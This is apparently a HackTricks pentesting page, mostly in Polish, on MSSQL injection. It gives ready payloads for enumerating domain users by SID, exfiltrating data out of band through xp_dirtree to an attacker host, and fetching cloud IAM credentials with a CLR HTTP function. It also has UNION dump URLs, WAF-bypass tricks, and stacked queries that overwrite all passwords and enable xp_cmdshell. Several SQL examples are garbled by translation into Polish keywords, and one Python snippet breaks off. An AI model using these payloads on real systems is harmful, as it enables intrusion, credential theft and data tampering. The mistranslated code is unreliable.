# MSSQL Injection {{#include ../../banners/hacktricks-training.md}} ## Enumeracja Active Directory Możliwe jest **enumerowanie użytkowników domeny za pomocą SQL injection wewnątrz serwera MSSQL** przy użyciu następujących funkcji MSSQL: - **`SELECT DEFAULT_DOMAIN()`**: Pobierz nazwę bieżącej domeny. - **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Jeśli znasz nazwę domeny (_DOMAIN_ w tym przykładzie), ta funkcja zwróci **SID użytkownika Administratora** w formacie hex. Będzie to wyglądać jak `0x01050000000[...]0000f401`, zwróć uwagę, że **ostatnie 4 bajty** to liczba **500** w formacie **big endian**, co jest **wspólnym ID użytkownika administratora**.\ Ta funkcja pozwoli Ci **poznać ID domeny** (wszystkie bajty oprócz ostatnich 4). - **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Ta funkcja zwróci **nazwę użytkownika wskazanego ID** (jeśli istnieje), w tym przypadku **0000e803** w big endian == **1000** (zwykle jest to ID pierwszego regularnego użytkownika). Możesz sobie wyobrazić, że możesz brute-forcować ID użytkowników od 1000 do 2000 i prawdopodobnie uzyskać wszystkie nazwy użytkowników domeny. Na przykład używając funkcji takiej jak ta: ```python def get_sid(n): domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236' user = struct.pack(' Procedury składowane, takie jak `xp_dirtree`, choć nieudokumentowane oficjalnie przez Microsoft, zostały opisane przez innych w Internecie z powodu ich użyteczności w operacjach sieciowych w MSSQL. Procedury te są często używane w exfiltracji danych Out of Band, co zostało pokazane w różnych [przykładach](https://www.notsosecure.com/oob-exploitation-cheatsheet/) i [postach](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/). Procedura składowana `xp_dirtree`, na przykład, jest używana do wykonywania żądań sieciowych, ale jest ograniczona tylko do portu TCP 445. Numer portu nie jest modyfikowalny, ale pozwala na odczyt z udziałów sieciowych. Użycie jest pokazane w poniższym skrypcie SQL: ```sql DECLARE @user varchar(100); SELECT @user = (SELECT user); EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"'); ``` Warto zauważyć, że ta metoda może nie działać na wszystkich konfiguracjach systemu, takich jak `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` działający na `Windows Server 2016 Datacenter` z ustawieniami domyślnymi. Dodatkowo istnieją alternatywne procedury składowane, takie jak `master..xp_fileexist` i `xp_subdirs`, które mogą osiągnąć podobne wyniki. Dalsze szczegóły dotyczące `xp_fileexist` można znaleźć w tym [artykule TechNet](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx). ### `xp_cmdshell` Oczywiście można również użyć **`xp_cmdshell`**, aby **wykonać** coś, co wyzwala **SSRF**. Aby uzyskać więcej informacji, **przeczytaj odpowiednią sekcję** na stronie: {{#ref}} ../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/ {{#endref}} ### MSSQL User Defined Function - SQLHttp Tworzenie CLR UDF (Common Language Runtime User Defined Function), który jest kodem napisanym w dowolnym języku .NET i skompilowanym do DLL, aby załadować go w MSSQL do wykonywania niestandardowych funkcji, to proces, który wymaga dostępu `dbo`. Oznacza to, że zazwyczaj jest to możliwe tylko wtedy, gdy połączenie z bazą danych jest nawiązywane jako `sa` lub z rolą Administratora. Projekt Visual Studio i instrukcje instalacji są dostępne w [tym repozytorium Github](https://github.com/infiniteloopltd/SQLHttp), aby ułatwić załadowanie binarnego pliku do MSSQL jako zestawu CLR, co umożliwia wykonywanie żądań HTTP GET z poziomu MSSQL. Rdzeń tej funkcjonalności jest zawarty w pliku `http.cs`, który wykorzystuje klasę `WebClient` do wykonania żądania GET i pobrania treści, jak pokazano poniżej: ```csharp using System.Data.SqlTypes; using System.Net; public partial class UserDefinedFunctions { [Microsoft.SqlServer.Server.SqlFunction] public static SqlString http(SqlString url) { var wc = new WebClient(); var html = wc.DownloadString(url.Value); return new SqlString(html); } } ``` Przed wykonaniem polecenia SQL `CREATE ASSEMBLY`, zaleca się uruchomienie następującego fragmentu SQL, aby dodać hash SHA512 zestawu do listy zaufanych zestawów serwera (widocznej za pomocą `select * from sys.trusted_assemblies;`): ```sql EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil'; ``` Po pomyślnym dodaniu zestawu i utworzeniu funkcji, poniższy kod SQL może być wykorzystany do wykonywania żądań HTTP: ```sql DECLARE @url varchar(max); SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/'; SELECT dbo.http(@url); ``` ### **Szybkie Wykorzystanie: Pobieranie Całej Zawartości Tabeli w Jednym Zapytaniu** [Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/). Krótką metodą na wyodrębnienie pełnej zawartości tabeli w jednym zapytaniu jest wykorzystanie klauzuli `FOR JSON`. To podejście jest bardziej zwięzłe niż użycie klauzuli `FOR XML`, która wymaga określonego trybu, takiego jak "raw". Klauzula `FOR JSON` jest preferowana ze względu na swoją zwięzłość. Oto jak pobrać schemat, tabele i kolumny z bieżącej bazy danych: ````sql https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done: ```sql https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- ```` ### Retrieving the Current Query [Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/). For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text: ```sql https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null ``` To check if you have the VIEW SERVER STATE permission, the following query can be used: ```sql SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE'; ``` ## **Little tricks for WAF bypasses** [Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) Non-standard whitespace characters: %C2%85 или %C2%A0: ``` https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null-- ``` Scientific (0e) and hex (0x) notation for obfuscating UNION: ``` https://vuln.app/getItem?id=0eunion+select+null,@@version,null-- https://vuln.app/getItem?id=0xunion+select+null,@@version,null-- ``` A period instead of a whitespace between FROM and a column name: ``` https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users-- ``` \N separator between SELECT and a throwaway column: ``` https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- ``` ### WAF Bypass with unorthodox stacked queries According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";": ```sql SELECT 'a' SELECT 'b' ``` So for example, multiple queries such as: ```sql użyj [tempdb] stwórz tabelę [test] ([id] int) wstaw [test] wartości(1) wybierz [id] z [test] usuń tabelę [test] ``` Can be reduced to: ```sql użyj[tempdb]stwórz/**/tabelę[test]([id]int)wstaw[test]wartości(1)wybierz[id]z[test]usuń/**/tabelę[test] ``` Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example: ``` # Dodanie bezużytecznego exec() na końcu i sprawienie, by WAF myślał, że to nie jest ważne zapytanie admina'union select 1,'admin','testtest123'exec('select 1')-- ## To będzie: SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--' # Używanie dziwnie zbudowanych zapytań admin'exec('update[users]set[password]=''a''')-- ## To będzie: SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--' # Lub włączenie xp_cmdshell admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- ## To będzie select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- ``` ## References - [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) - [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) {{#include ../../banners/hacktricks-training.md}}